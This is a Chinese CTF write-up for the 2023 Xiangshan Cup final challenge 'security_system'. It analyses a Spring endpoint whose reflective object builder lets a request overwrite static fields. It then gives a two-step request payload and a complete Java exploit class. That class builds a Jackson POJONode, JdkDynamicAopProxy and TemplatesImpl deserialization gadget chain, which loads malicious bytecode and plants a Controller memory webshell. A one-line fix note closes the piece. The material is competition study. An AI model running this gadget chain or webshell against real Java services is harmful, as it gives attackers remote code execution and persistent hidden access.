[2023香山杯决赛]security_system
题目环境
感谢大头哥复现的环境🙏:[CTF复现计划]2023香山杯决赛 security system
题目分析
反编译jar包,内容结构很简单,就一个/safeobject路由。
@RequestMapping({"/safeobject"})
public String start(String obj, String classes) throws Exception {
if (!classes.contains("Object") && !classes.contains("LinkedHashMap")) {
Class c = Class.forName(classes);
SecurityCheck var10000 = isSafe;
if (SecurityCheck.isSafe()) {
Object o = SecurityCheck.deObject(mapper.readValue(obj, c));
return o.toString();
} else {
StringBuilder sb = new StringBuilder();
var10000 = isSafe;
Iterator var5 = SecurityCheck.ismap().iterator();
while(var5.hasNext()) {
Object item = var5.next();
byte[] s = SecurityCheck.base64Decode((String)item);
sb.append(SecurityCheck.deserialize(s));
}
return sb.toString();
}
} else {
return "error";
}
}
根据mapper.readValue(obj, c)的注释猜测,这是一个解析Json字符串的函数,第二个参数似乎是要转换的类型。根据后面的流程,这里应该是要将Json转为一个map类型的对象。
SecurityCheck.deObject操作的是mapper.readValue(obj, c)解析出的map,它会将map中@type所指的类实例化成一个对象,然后用map剩下的键值对来修改这个对象的属性,最后返回这个对象。
public static Object deObject(Object ob) throws Exception {
if (ob instanceof LinkedHashMap) {
LinkedHashMap map = (LinkedHashMap)ob;
String type = (String)map.get("@type");
if (!"".equals(type) && type != null) {
Class clazz = Class.forName(type);
Object obj = clazz.newInstance();
Iterator ir = map.keySet().iterator();
while(ir.hasNext()) {
String key = (String)ir.next();
Object value = map.get(key);
if (!key.equals("@type")) {
Field field = getField(clazz, key);
if (field != null) {
setFieldValues(obj, key, value);
}
}
}
return obj;
} else {
return map;
}
} else {
return ob;
}
}
�
注意到这个返回的对象在start中会直接调用它的toString方法,这里似乎可以直接衔接到JackSon反序列化的POJONode。但这里在实例化clazz的时候调用的是它的无参构造方法,而POJONode只有有参的,所以这个方法会在实例化POJONode的时候失败。
这里要用else的部分打,SecurityCheck.deObject()也可以修改SecurityCheck中的静态变量。所以思路就很明确了
- 第一次请求在 if 部分修改
SecurityCheck的safe为false,treeMap包含恶意的反序列化字符串。 - 第二次请求在 else 部分将
treeMap中的内容取出触发反序列化。
解题流程
因为classes不能为LinkedHashMap,所以选取一个LinkedHashMap的子类,这里选择的是org.springframework.ui.ModelMap
然后是obj的构造,唯一要思考的就是用来替换treeMap的值怎么写。虽然JSON用来表示Set的写法是["content"],但是这里只能被解析为ArrayList,无法被替换。
注意到这里的setFieldValues的写法是
public static void setFieldValues(Object obj, String fieldName, Object fieldValue) {
try {
setFieldValue(obj, fieldName, deObject(fieldValue));
} catch (Exception var4) {
System.out.println(var4);
}
}
这里对修改的fieldValue又调用了一次deObject,有一点绕,不过这样让我们可以直接实例化一个HashSet来替换。另外,简单记一下Set中存储值的是一个map的Key,value可以不用管(感觉之前CC链好像见过...)

所以payload构造为
obj={"@type":"com.example.jackson.SecurityCheck","treeMap":{"@type":"java.util.HashSet","map":{"反序列化的字符串":""}},"safe":false}&classes=org.springframework.ui.ModelMap
反序列化的链子选择JackSon那条(稳定版),用它来打一个刚学到的Controller内存马
package yso.json.Jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.codec.binary.Base64;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exp {
public static void main(String[] args) throws Exception{
byte[] bytecode = Files.readAllBytes(Paths.get("./target/classes/SpControllerExploit2.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用JdkDynamicAopProxy稳定调用
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
// 删除 jsonNode 的 writeReplace
try {
ClassPool _pool = ClassPool.getDefault();
CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(proxyObj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
String s = serializeToBase64(val);
System.out.println(s);
// deserializeFromBase64(s);
}
public static void setValue(Object instance, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = instance.getClass().getDeclaredField(fieldName); // 获取私有字段
field.setAccessible(true); // 设置为可访问
field.set(instance, value); // 为字段设置新值
}
public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
// byte[] data = Base64.getDecoder().decode(base64String);
byte[] data = Base64.decodeBase64(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
public static String serializeToBase64(Object obj) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
// return Base64.getEncoder().encodeToString(baos.toByteArray());
return org.apache.commons.codec.binary.Base64.encodeBase64String(baos.toByteArray());
}
}
}
读取flag~

修复
过滤一下@type